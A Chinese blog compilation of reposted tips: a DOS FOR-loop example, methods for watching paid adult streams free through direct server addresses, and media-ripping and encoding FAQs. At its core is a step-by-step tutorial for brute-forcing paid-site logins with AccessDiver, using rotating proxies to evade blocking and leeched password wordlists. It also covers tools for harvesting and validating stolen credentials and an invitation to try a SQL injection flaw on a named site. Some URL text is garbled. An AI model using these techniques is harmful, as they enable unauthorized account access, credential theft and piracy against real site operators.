灵活应用这一点,几乎没有做不了的事。

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分

这个比较简单,就是说将循环变量的值自动分离成只要文件名,只要扩展名,或只要盘符等等。

例:要将 c:\mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,将会是这样:



g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-01 下沙.mp3
g:\mp3\Archived\05-18-01-A\游鸿明-下沙\游鸿明-02 21个人.mp3
......
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修罗.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3
g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不爱我的我不爱.mp3
......


如果我只要歌名(不要路径和".mp3"):



游鸿明-01 下沙
游鸿明-02 21个人
......
王菲-阿修罗
王菲-彼岸花
王菲-不爱我的我不爱
......


那么可以用FOR命令:



for /r g:\mp3 %a in (*.mp3) do @echo %~na


凡是 %~ 开头的操作符,都是文件名的分离操作。具体请看 for /? 帮助。

本文举的例子有些可能没有实际用处,或可用其它办法完成。仅用于体现FOR可以不借助其它工具,仅用DOS命令组合,就可完成相当灵活的任务。
posted @ 2005-07-07 18:00 一天一点爱恋 阅读(200) | 评论 (0)编辑 收藏
 
彩虹頻道+香港有線+新東寶+台灣ashow(這下這幾個站完了)
1.彩虹頻道使用方法
a.首先進入http://rtv.aboutmedia.com.tw/et-rtv/vod.asp
選擇你要收看的片子,然後選擇“隨選視頻“,點擊鼠標右鍵,
選擇“複製快捷方式“,找到其中“filename=AJL1-01381_300k",
拷貝其中的“AJL1-01381_300k”的東東。
b.把你拷貝的“AJL1-01381_300k“加在以下三個mms服務其中的任何一個的後面,並且加上“asf"
如mms://210.58.100.110/rtvrot/AJL1-01381_300k.asf mms://210.58.100.111/rtvrot/AJL1-01381_300k.asf mms://210.58.100.112/rtvrot/AJL1-01381_300k.asf
不好意思剛才我在AJL1-01381_300k.asf多加了引號,現在糾正
c.好了,大功告成了,現在你就可以看影片了,如果某部看不起,可能是
文件丢失了,你可以換一部來看。(注意:請大家儘可能的輪流使用三台
mms服務器,這樣可减輕負載,不容易掛掉

2.新東寶使用方法:
和彩虹頻道的一樣,只是在地址中,你要改變rtvrot為
schannelrooot才行。
http://www.s-channel.com.tw/

3.iadultzone使用方法:
這是香港有線台的節目,速度很快。我把地址給出了 mms://61.10.2.59/iadultzone/jp/40min/300k/ic-40-0046-b.asf
你可以改變“ic-40-0046-b.asf"中的0046。
當然這些是40幾分鐘的日本片,你可以到
去注册一個,登陸後,選擇“日視温柔“進入,裡面的每部片子
都有像“ic-40-0046“這樣的影片序號,但是一些是10或20分鐘的
這樣,你只要改變“40min"為“10min”或者“20min“
並且改變“ic-40-0046"中的“40“为“10“或者“20“就好了
好要注意後面要加上“-b“。
盡量使用三個mms服務器,另外兩個是61.10.2.52和61.10.2.53
http://www.iadultzone.com/

4.http://www.ashow.tv的使用方法:/
這是用流媒体嗅探軟件(Project URL Snooper)
的方法,上次有人介紹了的,我在這裡就不說了 。

5.在線電視mms://203.133.6.195/gtv39nch mms://203.133.6.195/gtv52hota mms://203.133.6.195/gtv91schd
這裡要說明一下:上次有人公布的只是其中一台mms服務器,這是另外一台
ip地址是不一樣。

6。後記

a.注意:1.2.3都是非流媒体技術搞出來的,

其中mms://203.133.6.195/gtv39nch也是嗅探器探不出來的
你可以用嗅探軟件去試一下,看看能行ㄇ?

b.注意:新東寶還存在sql漏洞,有興趣的朋友可以去試一下。
並且新東寶中的在線電視可以用sql漏洞進去後,用嗅台器可以探出真實地址
(不要誤會,前三個不是用sql漏洞搞出來的真實地址)


注意:有人反映說,去下載了後變為.wmv的文件不能播放。的確,它是通過認證加密的,所以請大家不要再花時間去下載,白費時間,如果是可以看的,我也早就告訴大家了,所以,大家還是按我以上所說的方法去做!


收费网站破解


收费网站破解全攻略 1、谈到破解,当然需要一个工具,在这方面我们不得不承认国外的破解工具胜过国货,我以前用过流光等一些黑客工具。在破解网站的能力上十分有限。所以我在这里向,大家推荐一个破解工具AccessDivehttp://www.accessdiver.com/download/ad4.76.exe,下载安装后。当然现在需要的是我们破解的对象,也就是网站了。首先大家需要找到网站members的入口地址,举个例子我们在下面这个网页中看到了members only的标志 http:// 64611 ;那么我们就可以把鼠标放到members only上面然后点右键,点复制快捷方式,这样我们就得到了我们要破解的网址了。我们把这个http://www.xxx.com/members/index.html复制到破解工具AccessDiver最顶端SERVER后面的的那个长方框里面。ok!!第一步就完成了。
呵呵!!很多朋友听到这里可能觉得,这么简单啊!!你还用那么长时间才学会,真是笨,其实这只是刚刚开始,接下来跟着我一起继续破吧!
我们破解确实很爽。别人开网站的就到了霉,如果那一天发现我们的ip破他的网站,他肯定会拚了老命也要把我们逮出来。所以这里就要说到破解的安全性了。也就是proxy的使用,请大家在AccessDiver的界面点proxy然后在 USE WEb proxies前面的方格里打勾,看到Rotate proxies了吧?继续在它前面的方格你打勾,然后你会看到在Rotate proxies与logins to try before swapping 之间又出现一个方格,然后在里面填上 1 。这个选项是说我们每用完一个proxies后然自动换另一个,这是保证破解质量的一个重要因素。因为一些网站在安全系统方面已经改进了很多,如果你用一个ip(代理)破解它的网站,不到1分钟。便死悄悄了。。。。所以下面我们就需要一个所谓的proxylist.我在这里可以向大家提供一个list,大家把它保存在自己的硬盘后,然后用proxyhunter把它们检验一遍。把好的代理(proxies)保留在一个文档,然后在界面proxy--my list的最右边点击那个黄色文件夹的标志,我们就可以把刚才存档的proxy文档输进去了。然后对着最上面“黑色的勾“点右键就把所有的proxy选择了,最后在任意一个proxy上点一下,也就算把proxy的准备工作结束了。
最关键的时刻来到了,做完最后一部我们就可以开始破他了!也就是我们常说到的字典了,字典对于破解网站有着不言而喻的关键作用,字典如果选得不好,你就算从你的虫虫没长好开始破一直破到你老眼昏花都是无济于事的。那么今天我在这里会向大家贡献一个wordlist(字典),以后大家就要自己来leech wordlist.这里我不作详细介绍,具体的方法我会在大家对这个破解工具比较熟悉的情况下继续介绍。好的。点Dictionary在点 Curently used,然后点load a comb file把我给你的wordlist输进去吧!!
哈哈!!终于快写完了,大家也快见到曙光了。我们现在就可以开始了。记住上面的每一步你都要照做,否则开始不了不要找我!!如果你之前得每一部都搞定,那么我们就点
AccessDiver界面左上方黄色的Standard键,嘿嘿!!应该开始了吧!如果没有,就是你的proxy的问题。那么到proxy--my list 选项里选择一个其他的proxy在开始。
基本上最基本的方法我写完了,第一次肯定不会顺利。要知道我第一次破出密码是看了文章后的一个星期左右啊!你们比我幸运,至少看得是中文呀!时间肯定比我少,但是破不出来也不要伤心,自己慢慢的研究。
关于对proxy设置的重要补充:
就是首先大家要把my skill选成expert.
然后然后在 USE WEb proxies前面的方格里打勾
看到Rotate proxies了吧?继续在它前面的方格你打勾,然后你会看到在Rotate proxies
与logins to try before swapping 之间又出现一个方格,然后在里面填上 1

在proxy skipping
下面有四个框,在前3个框上打勾。
在proxy handing下第一个框前打勾
在试试吧!
回复就是动力!

密码研究三:密码破解有关问题
以下软件可http://www.icuming.com/members/下载,登陆的用户名和密码是tester。
我会继续更新这份帮助。

一,SiteCheck

这个软件用来检测你手中已有的password是否可用。首先将你看来的或者自己破解的password统统copy & paste进一个文本文件,每行的格式如下www.victim.com/members/www.victim.com/members/> target=_blawww.victim.com/members/www.victim.com/members/www.victim.com/members/>www.victim.com/members/>http://usernameawww.victim.com/members/ ;
然后打开sitecheck,选中这个文本文件,填上一个proxy,选择test hacked sites,它给开始检测,如果password失效,就清除掉,留下仍然可用的password,检测完可以保存。

注意,如果你有同一个站点的多个password,最好不要用这个软件检测,因为它不能自动更换代理,所以可能被站点block掉你的ip,这样所有的密码都会被认为失效。

二,Raptor
wordlist是cracker最宝贵的东西,如同少女的第一次。随着对crack的不断深入,就会发现实际上很多时间都是用来寻找,处理,完善自己的wordlist。如果你希望从网上众多的破解网站leech password,或者将自己wordlist里重复的login去除掉,或者做出一份指定格式的wordlist,我想你需要一个好的password软件,这就是raptor。

raptor的功能很多,界面也非常友好(我很少见到界面如此友好的黑客软件),所以我不打算一一介绍如何使用,只介绍最常用的几个功能:

1,打开一个wordlist,选"remove duplicates",去除掉所有重复的login。
2,"pass leech"里填加一个破解网站的地址,或者倒入一个list,大家可以把scheisse给出的破解网站地址保存为一个txt,然后在raptor里导入,然后选择start,开始leech password,对新手来说,这是得到wordlist最简单的办法。
3,在filter里,可以指点用户名和密码的长度,大小写等格式,从而得到一份你想要的wordlist。

其他还有合并wordlist文件,生成adultcheck,agecheck密码文件等强大功能,建议新手好好熟悉这个软件,只要你有兴趣crack,就离不开这个软件。
最好找个代理服务器

。。。。。。。。。。。。。。。。。。。。


破解在线电影多种技巧

妙用腾讯的浏览器找到在线电影地址!
腾讯的QQ大家都知道吧,那它的浏览器解决看不到原代码的问题却是再好不过了
有的网站会把电影作为一个窗口单独弹出,如果我们用IE打开的话它的IE地址和菜单栏就看不到了,我们就用腾讯的浏览器就可以将其破解!Let'''''''' Go!
利用IE单独弹出的电影对话框,我们发现它已经将所有的信息栏屏蔽了,而用腾讯浏览器就不同了,它的各种信息栏一个都不少(虽说这个地址一般都是假的)。既然是假的怎么办?不用急!破解:点击“查看”→“查看源文件”在弹出的文本框中找出电影地址就OK了!
-------------------------------------------------------------------------------

破解网页禁用鼠标右键绝招(3种)
第一种情况,出现版权信息类的,破解方法:在页面目标上按下鼠标右键,弹出限制窗口,这时不要松开右键,将鼠标指针移到窗口的“确定”按钮上,同时按下左键。松开鼠标左键,限制窗口就被关闭了,再将鼠标移到目标上松开鼠标右键,哈哈,就这样弹出了鼠标右键菜单,限制被取消了!有成就感吧!

第二种情况,出现“添加到收藏夹”的。破解方法:在目标上点鼠标右键,出现添加到收藏夹的窗口,不要松开右键,也不要移动鼠标,而是使用键盘的TAB键,移动到取消按钮上,按下空格键,这时窗口就消失了,松开右键看看,右键又恢复了!

第三种情况,超链接无法用鼠标右键弹出“在新窗口中打开”菜单的。用这一招:在超链接上点击鼠标右键,弹出窗口,不要松开右键,按键盘上的空格键,窗口消失了,这时在松开右键,右键菜单便会出现,选择其中的“在新窗口中打开”就OK了!

------------------------------------------------------------------------------------
在有的网站的在线电影是弹出一个页面,那镶了一个real的播放器,看不到下载的地址,有一个很笨但是很有效的方法可以看到rtsp地址,就是【断线】,虽然很简单,但是很有效,起码可以下载下来本地观看了!具体方法如下

可以用这个地址做试验 !
http://www.rw.uestc.edu.cn/movie/play.asp?id=428

进入页面以后先暂停,如果是通过网卡上网(如cable)的化,在win98(2k不行)的开始运行菜单里面输入winipcfg然后回车,会出现一个“ip配置”,然后按播放键,等到播放的的缓冲进度刚刚出来的时候就按“ip配置”对话框中的“全部释放”,这样就断线了,就会出现rtsp地址,原理很简单,就是让网页找到要播放的以后断线,软件会报搞出错,有了出错的地址就可以下载了!大家试试吧!
这样虽然很简单,但是很有效,大多数都可以用这个方法,大家不要忘记了,把一些片子都贴上来,一起分享吧!

Win2000下也可以释放IP的,用IPCONFIG 看看它的HELP吧 。


------------------------------------------------------------------------------
如何破解在线电影网站的电影地址

风月网http://www.fyvod.com/是一个速度很快的在线电影网,要盗链它的电影地址,

破解办法:例如要看《训练日》文件的地址

页面地址为[URL]http://202.103.220.145/display.html?ID=387[URL]

把后半部分替换成 player.html?ID=387

也就是 [URL]http://202.103.220.145/player.html?ID=387[URL]

查看源文件,控件对象是[URLmms://202.103.220.145/ [URL]

就出来了。

--------------------------------------------------------------------------------
保存在线欣赏的流媒体文件

Realplayer、Windows Media Player 可以说成了我们的左右手。
一次在一个明星网站上在线欣赏广告。有个广告很好看,想保存起来。但这不是平时经常看的rm。而是一种asx文件。点击之后,就会打开 Windows Media Player 连接网络进行播放。而将这个asx文件下载来后,一看只有300KB左右,奇怪了,一个广告怎么可能就这么一点。用记事本写篇短文也不止300 K,百思不得其解,用记事本打开asx文件看看吧。

果然不错,内容就是Html代码,稍懂HTML的网友便会知道当中最核心的是链接,如:
[URLmms://video.andylau.com/andylau/others/061901_makinggreenteatvc2_100k.asf [URL]
原来这个asx指向的是一个微软大力推广、用来和Real公司‘较量’的网络流媒体格式.asf。图象质量个人认为比rm好。

好了,现在要保存是不是很简单,对了,把前面的mms改成http,然后把他粘贴到FlashGet(网际快车)中下载吧。看到绿色波浪了吧!
-------------------------------------------------------------------------------
mms协议电影下载指南

因有些电影所采用的是mms协议,用一般的下载工具就不能用了,但可以在线观看。

但有了这个工具后就不能提心mms协议的电影不能下载的问题了。
[URL]http://chinagamelab.www9.cn4e.com/soft1000/soft/asfr.zip[URL]

[URL]http://www.chinawolf.com/~dodotom/tools/asfr.zip[URL]

使用方法:
解压这个压缩包,把里面的asfr.exe这个文件拷贝到你的D盘。再在运行栏里输入command(假如你是win2000的话,就在开始菜单里选择附件中的命令提示符)假如你所要下的电影地址为
[URLmms://www.chinawolf.com/~dodotom/01.asf [URL]这时你就在MS-DOS窗口中输入D:进入D盘后(因为asfr.exe在D盘)输入 asfr [URLmms://www.chinawolf.com/~dodotom/01.asf[URL](这样MS-DOS窗口中就在连接你所要下载的电影服务器,然后开始自动下载了。电影下完后在DOS窗口中会出现英文提示你已完成下载字样。这样一个mms协议的电影就被你下载下来啦。

------------------------------------------------------------------------------
下载电影的好东东  
NetMoles Downlor2.4(网络鼹鼠):
最新版本:2.4
文件大小:2143KB
软件授权:共享软件
使用平台:Win9x/Me/NT/2000

最新的网络媒体下载软件,用法与“网际快车”差不多,不但支持http;ftp格式,还可下载mms的在线电影,下载速度比vcr要快。该软件具备以下功能:1.将文件分成多个部分同时下载,通过多线程,断点续传等技术最大限度地提高下载速度。2.为了有效地管理下载的文件,可以创建不同的类别,把下载的软件分类存放。3.下载的任务可以根据相应的信息进行排序,查询。4.改进FlashGet和Netants等软件对同一FTP主机的文件下载的方法(请看帮助文件)。 新版本增加对了mms/mmst/mmst协议的支持

下载地址:
[URL]http://gz.onlinedown.net/down/NetMoles_Downloader_2_4_full.rar [URL]


-----------------------------------------------------------------------------
[转贴] 下载实时播放的流节目完全教材(高、中、初级指南)

一、初级篇——下载隐藏的ASF与MWV文件
 ASFRecorder V1.1是一个专门用来下载ASF、Wma、Wmv格式流文件的工具。它除了能把ASF下载回来外,也支持ASF文件的索引格式ASX文件,它能把隐藏在ASX里面的真正流部分找出来,甚至还可以设置代理等等,功能强大之余使用也非常方便。只要在其[File]菜单下面选[Open URL]再输入流节目的地址后就可以回到主界面按那个三角形符号开始下载了。

  最近还出现了另外一个流节目下载软件 Stream Download Project v1.4 ,它的功能和 ASFRecorder非常的相似,一样是只支持ASF和WMV格式,一样不支持多线程下载和续传。但它毕竟是比较新的软件,在一些 Streambox Vcr都不能成功下载的情况下,用这个软件试试或者会让你有柳暗花明的感觉。

二、中级篇——下载隐藏的RM文件
Streambox Vcr不但支持点播形式的流节目也同样支持现场流节目,而且两者可以同时下载!由于它采用了独特的分析技术,所以可以把那些隐藏在ASX后的ASF文件和隐藏在SMIL文件后的RM文件找出来并进行下载。这个功能虽然在ASFRecorder里面已经实现,但真正做到实用阶段的是Streambox Vcr!另外,Streambox Vcr支持的流播放协议相当齐全,http、ftp、rtsp、mms、pnm等能数得出的协议它都全部支持并可以在下载的时候自动判别。除此之外它支持断线续传、支持定时下载、支持拖放下载等等作为下载软件必要的功能它一样没少,够吸引的吧!


三、高级篇——下载受保护的流媒体文件

  对于一些隐藏得更深、保护得更完善的流文件,StreamBox vcr因找不到真实地址而无法下载。这个时候,我们就需要用另外的软件来分析、整理出真实的地址了。既然流文件用播放器能播放,那么真实地址一定是隐藏在发送到本机的网络数据包里面。所以只要用软件截获网上发送过来的数据包,然后加以分析就一定可以找得到真实地址。现在出现了一个专门是用来和StreamBox vcr等软件配合的地址嗅探软件Project URL Snooper


另外最近又发现一款不错的下载电影工具~

新的流媒体下载软件支持http/ftp/mms/mmst/mmsu协议(与Streambox Vcr相辅相成)
NetMoles Downloader 版 本 2.3 版权所有 软件发行商
软件平台 Win9x WinNT Win2000 WinME WinXP 整理日期 2002-03-25
软件授权 **
软件大小 1950KB
软件简介 NetMoles Downloader 是一支持http/ftp/mms/mmst/mmsu协议的下载软件。该软件能充分支持多代理,突破越来越多的网络限制,同时改进FlashGet和Netants等软件对同一FTP主机的文件下载的方法,使你更方便地下载各种软件。目前软件的功能包括:1.将文件分成多个部分同时下载,通过多线程,断点续传等技术最大限度地提高下载速度。2.为了有效地管理下载的文件,可以创建不同的类别,把下载的软件分类存放。3.下载的任务可以根据相应的信息进行排序,查询。4.改进FlashGet和Netants等软件对同一FTP主机的文件下载的方法。5.支持MMS协议的中文名、有密码保护的mms文件等。5.支持多代理,以及对代理的批量导入、导出、测试 1.rm格式的文件能下载下来吗?
答:当然了,用streamboxvcr就可以,这个软件的套装可以在本站找到,名字是streamboxvcrsuite1.0。

2.能将mpeg文件直接转换成wmv(wm8)格式的吗?
答:至今为止还不行,还是要经过avi的中间步骤的.....不过可以让几个软件协同工作来提高工作效率,当然你还是要准备一块大硬盘的。

3.我用StreamBox下载的ASF文件,播放时快进后退键全都失效。
答:有两个方法来解决:(1)用windows media player6.4来播放,就可以正常拖动了;(2)把asf文件用virtualdub转换成avi文件后便可以在mediaplayer7.0里看了,而且可以选段看,且不会等候,只是7.0占用资源比较高,建议还是用6.4看。

4.如何把rm文件转换为mpg文件?
答:现在还没有比较完美的解决办法,能凑合用的办法有两个:(1)用抓屏软件,例如hypercam,snagit等等,抓取播放中的video/audio成为avi文件,这个过程中可以选择codec,所以可以适当的减小avi的大小,之后可以把avi->mpg;(2)用tira直接转换rm->avi,不过你也要准备个大硬盘,因为转化出来的是没有压缩的avi。

5.wmv8中在压缩设定的时候一项叫做two-pass,是做什么用的?
答:第一次所谓的编码就是做分析。即对整个被制作的video进行扫描,以确定video中哪些镜头是相对动态,哪些镜头是相对静态!因为相对静态的片段需要的码流速率相对低甚至低很多,这样他就利用一定的算法把临近相对动态的片段部分的数据插进来。插进来的数据和一般数据一同被LOAD进BUFFER,回放的过程中再插回动态的画面中。这样就巧妙的利用时间差充分的利用带宽使得动态效果达到最好!于是所谓的first pass就是分析并判断video转换成数据流的“均衡”,然后second pass才是真正利用first pass中分析的结果开始encode!由于需要经过这两个过程所以two pass encording所需要的时间大约是普通编码时间的两倍!real在VBR和two pass技术上的成熟,所以尽管MS最近在MEDIA8中宣称也利用了以上的两种技术,但在动态的VIDEO上的表现任远远不及REAL。在大动态的镜头中体现得更加明显,MS''VIDEO8容易产生大量马塞克,而real就处理得很平滑而且动作也更连贯!

6.stream vcr应该设置怎样的代理服务器?
答:在菜单里面就有的:view->setting->proxy。

7.请问如何用把超过700Mb的asf文件切成小的asf?

答:其实最好在制作asf的时候就把这个计算好(类似于divx的bitrate的计算)。可以用asfindexer(这个软件在windows media tools4.1里面有)试试。

8.请问rm文件用什么软件编辑?
答:你只要装上了RealProducer8.5plus,就可以编辑了。菜单File-Edit RealMediafile...

9.请问怎么把多个RM文件合成一个完整的文件?用什么软件?
答:方法同上,不过在进入Edit RealMediafile里面之后要用append来追加.......

10.请问微软媒体播放器播放的影片用扫描软件抓屏,realplay的可以,但WMV等用微软媒体播放器的为何就不行呢?
答:准确来说,WMV比REALPLAY的屏幕更难捕捉,为了显示效果,两个软件都用了一些很特别的显示方法来显示图形(REALPLAY和一些机器不兼容也是因此而来,这方面有系统代码的MEDIAPLAY占的便宜实在太大了)。所以用一般的截图软件是很难截取到它们播放中的图形的,就像以前DOS下的“直接写屏”技术,比较极端的技术要抓起来麻烦多了,好在HyperSnap-DX Pro等软件的DirectX支持功能还能有时候发挥点用处,把ASF和WMV的图给搞定,但REALPLAY就没办法了。最近听说“东方影都”能支持RM文件播放时候的截图,我也没测试过,但我想如果能截就可能不是采用REALPLAY的那些显示技术了,图像质量也应该打点折扣了。大家看到我的文章上的截图了吧,呵呵我是如何截REALPLAY的呢?其实是一个笨办法,一个不算是办法的办法。。。也不好意思献丑了。

11.请教一下:用下载的ASFCUT时总提示WMVCORE.DLL是怎么回事?
答:把WINDOWS MEDIA ENCODE7装上就行了。

12.我用wm7作的.wmv,与asf有什么区别?
答:两种文件采用的codec不同,wmv一般是采用window media video/audio 7的,asf采用的一般是Microsoft MPEG4 V(3/2/1?),音频部分是windows media audio v2/1。不过现在网上有些地方的asf,wmv采用的codec有些混乱了,所以两种文件的界限也有些模糊了。

13.我用Real Producer Plus 8.5,把VCD格式转换成RM。但用Real Player 8,看时,就要我上网下载更新才能看,怎么办?
答:请下载最新版本的RealPlayer8...

14.在宽带平台下,是rm的效果好还是asf的效果好?asf能做到mpeg4的近似DVD的效果吗?
答:这个问题当初提出来的时候,争论了很久,各执一词,wmv8和rm都有支持者,看来不同的制作方法,不同的人(主观印象?),结果只能是不同了:(所以我就顺便说说自己的看法吧(我考虑的是低码率,225kbps左右),rm似乎在图像的柔和度上面下了很大的功夫,wmv8则是一上来就以图像的清晰度见长(感觉就是制作的时候把quality调到0也比rm强一点,不过似乎有些地方处理起来还是有问题,当初曾经压缩过一个游戏的avi,源文件压缩之后wmv8里面有很多的色斑,改用rm之后一切正常...

15.我用VirtualDub 1.4D在读源文件时经常出现MPEG Import Fileter:unexpected end of file在转换为AVI时经常出现sync error,为什么?
答:这个是因为你的mpg源文件不是标准的mpg格式,请用超级解霸的mpg格式处理功能进行转化,出来的mpg就可以正常使用了,也可以用M1-edit(M2-edit?)来处理.....

16.请问各位前辈,有什么方法可以预处理.mpg文件,去出错误?(当然我的.mpg copy到handdisk时并不很顺畅)
答:回答同上。

17.我用media encoder utility 8压缩的wmv的图像居然是反的,人物都大头朝下了,这是怎么回事?是不是参数设置有问题?以前用wm8 beat2很正常的呀。
答:可以参看下面微软的回答.....以下是在该产品帮助中的faq中有的:Why is my encoded video upside down when I play it back in Windows Media Player? Occasionally, encoded video will be upside down when it is played in Windows Media Player because capture card drivers interpret the packed YUV file format in different ways. (是由于捕获卡驱动解释方面的原因)Windows Media 8 Encoding Utility enables you to set a registry key that will flip the video before encoding it so that it displays correctly. By default this feature is disabled. To enable this feature, use the registry editor to locate the registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Scrunch\WMVideo\Vertical Flip Packed YUV, and then set the DWORD valuesss of this registry key to 1。(即可以将以上键值改成1解决)

18.请问怎样把asf和wmv转换成avi的文件?
答:如果可以用virtualdub1.3c(或者支持asf的1.4版也可以)打开的话,就简单了,video/audio都选择direct stream copy,然后save as成avi就可以了。不过vd好像对于asf支持的好一些,我试过对付wmv好像不行。另一种方法是用graphedit来转换,这种方法通杀wmv、asf。

19.装了windows media player7.0之后,我还可以用windows media player6.4版本么?
答:当然了。那个6.4版本已经被升级成了6.4系列的最高版本了。这个程序的位置是C:\Program Files\Windows Media Player\mplayer2.exe。

20.为何我的RealProducer8.5Plus看不到下面的一些菜单和按钮了呢?
答:这个是我自己机器上面的毛病,因为本人用的win98SE里面的字体选在“大字体“,换成“小字体“就正常了。分辨率800x600@75hz-16bit。

21.如何调整realproducer plus制作RM文件时的码率?
实际上你可以自己设定RM文件码率的!realproducer plus提供的那8种码率只是real公司预先设定好的建议值而已,而这些建议值是可以自己改的,方法是在realproducer plus的界面上选:Options->Target Audience Settings->or RealVideo Clips...->Target Bitrate->Target Bitrate!用这个方法你可以把原来默认的LAN设置码率改为1.2M,然后在producer界面处的Target Audience也选择用LAN来压缩,那么你做出来的节目就是1.2M的码率了。

22.请问要选择什么样的影像采集卡?
现在市场上的影像采集卡有很多种,但是要记住!一定要购买可以抓取AVI格式的卡,千万不要买抓取MPEG格式的卡,这可是没有办法作随选视频的,因为MPEG格式是专门制作VCD或DVD用的,但也不是说买了可以抓取AVI格式的卡,就可以作随选视频了,因为还是有些蛮便宜的影像采集卡,品质也不错,而且抓取的影片也不会有漏格,有的厂商产品使用的AVI格式的规格是自己规格,随选视频必须是Microsoft Video 1规格的AVI,不是这个规格的AVI采集卡,千万不要买,会产生许多问题。

23.请问要选择什么样的声音采集卡?
没有所谓的声音采集卡,因为声卡就可以采集声音,建议您选择品质比较好的声卡,最好是16位以上的声卡,推荐创新声卡,因为它对Windows系统会有比较好的支持。

24.微软网站一直强调Windows Media 4.x的压缩格式是MPEG4,这不就是VCD的格式吗?
MPEG是一种影片压缩格的技术,VCD则是利用MPEG1或MPEG2的压缩技术来制作,而DVD是利用MPEG2的技术来制作,这次Windows Media 4.x的技术是使用MPEG4,这不是微软的专利,是经由全球各大厂商组织协会制定出来的,未来使用MPEG4的压缩技术来制作影片的产品一定会很多,原因是这个规格的影片品质及文件大小都非常精致,所以并不排除以后VCD或DVD会使用MPEG4。

25.为什么要学习影片编辑软件?
很多时候我们可以直接使用Windows Media Tools抓取随选视频或音频(ASF网络影片或声音),但更多时候,可能取得经过编辑过得影片来源,譬如说我们要拍摄公司简介、商品简介或者教学记录等等,通常是东拍一段西拍一段,然后经过影片编辑软件抓取影片及剪辑影片,所以学习影片编辑软件是十分重要的,一般只需能进行影片的编辑就可以了,不需要学到电视、电影的高*技术。

26.流媒体整个制作流程是什么?
这个流程分为3个方式:

A.需要拍摄影片或录制声音之后再作随选视频或音频

流程为:拍摄影片或录制声音→到电脑上采集影片或声音→使用影片编辑软件编辑影片和声音→输出编辑完成的影片和声音→到Windows Media Encoder软件转换成网络影片或声音→放置影片和声音到网络上→制作Homepage来连接完罗影片或声音。

B.如果已经有影片或声音来源,可以直接抓取随选视频或音频

流程为:将来源和影片装到放映设备上→到Windows Media Encoder软件直接抓取成网络影片和声音→放置影片或声音到网络上→制作Homepage来链接网络影片和声音。

C.影片和声音的网络Live直播

流程为:将来源的影片和声音装到放映设备上(或架设摄像机并连接到电脑)→利用Windows Media Encoder软件直接抓取成网络影片或声音→设定Windows Media Server→制作Homepage并连接到网络Live影片或声音。

27.安装软件一定要有顺序吗?
最好按顺序安装IE→Powerpoint 2000→Adobe Premiere 6→Media Play→Media Tools→Media on-demand Producer→Media Server。

28.如何调整realproducer plus制作RM文件时的码率?
实际上你可以自己设定RM文件码率的!realproducer plus提供的那8种码率只是real公司预先设定好的建议值而已,而这些建议值是可以自己改的,方法是在realproducer plus的界面上选:Options->Target Audience Settings->or RealVideo Clips...->Target Bitrate->Target Bitrate!用这个方法你可以把原来默认的LAN设置码率改为1.2M,然后在producer界面处的Target Audience也选择用LAN来压缩,那么你做出来的节目就是1.2M的码率了.

一点意见.
通常rar的文件要winrar这个软件来解压缩.有些文件用winrar分割,但是应该有一个头文件,后醉应该是exe,不过要全部下载完才能打开,小技巧:解压缩时候会生成临时文件,它的大小是0,可是能用播放器放.不过保存有点问题了。
后缀为.000 .001 .002 .....的文件如何解压?
应该用合并工具先合并。
可以用,
软件名称:HJSplit
最新版本:2.2
文件大小:168KB
软件授权:免费软件
使用平台:Win95/98/NT/2000
发http://www.freebyte.com ;;;
原版下载:不需要
软件简介:
  小巧好用的文件分割工具,能分割任何类型文件和任
何大小。也能将下载回来的分割文件合并!


[菜鸟必读]极限下载秘技[公告][建议]
从网上下载,听起来容易,但想真正成为高手,就要做到“下别人之不能下,载别人所不会载”,其中的门道可并不简单。
提到下载,很多人都认为所谓的Download不过是从网上把软件或MP3复制到硬盘中的一个过程。然而,如果真用这个标准来衡量的话,恐怕把全世界网民至少能数出几亿个下载高手来。可实际上,下载包含的内容远不止于此。从理论上讲,即使是浏览普通的网页也应该算是下载的一种,何况去下载软件、音乐、图书等更精彩的资源了。网络的开放性不断吸引着人们去寻找对自身有价值的东西,而各种商业网站又为了自身的利益,不断依靠“先进”技术使它们提供的资源逐渐封闭化。为了下载一个软件而打开三层页面的网站并不少见,而更多的图库站点更需要您不断点击大大小小的链接才肯露出庐山真面目;说是免费阅读图书,又不让您下载,给您一个连抓图都不支持的Java窗口,慢慢看去吧!(估计等您把书看完,您的网费开销能买十本原版书了。)有人说,网上的免费是糖衣炮弹:想下载软件,请您看广告;想聊天,请您看广告;想要免费信箱,请您看广告(更有附加在您每封邮件末尾的广告)。还有,某些精彩的Flash动画、Real影片以及各种在线播放的音频和视频,更是“只可远观而不可亵玩焉”——不支持下载!
难道就没有把糖衣吃掉再抛弃炸弹的方法吗?当然有!正所谓魔高一尺,道高一丈。对付特别的站点就要使用特别的方法,才能获取某些平时无法取得或者十分难以取得的资源。您想下载嵌在网页里的Flash动画吗?您想下载只提供在线播放的Real格式电影吗?您想下载收费的电子图书吗?您想学习更强大的超批量下载技巧吗?那就千万不要错过下面的文字,这就是——极限下载秘技!

获取真实的下载地址

工欲善其事,必先利其器,我们当然不必去研究如何更加科学地使用IE的下载窗口,因此您至少需要下面两个流行的下载软件之一:网际快车FlashGet(推荐使用)或网络蚂蚁NetAnts。

作为一个网民,笔者有时不得不向朋友提供某个软件的下载地址,然而这就出现了一个关于真实下载地址的问题。

首先,对同一个软件,我这儿有两个下载地址http://download.sina.com.cn/scgi ... oad/fm311ch0108.exe。如果是您的话,您更愿意接受哪个呢?很显然,后者是一个典型的URL,它相对于第一个地址来说更加明显,也不容易写错。而实际上这两个地址所指向的是同一个文件,它们在实质上毫无差别。那么如何才能获得真实的下载地址呢?

FlashGet的“重新定位到”。 网络蚂蚁的“重新定向”。

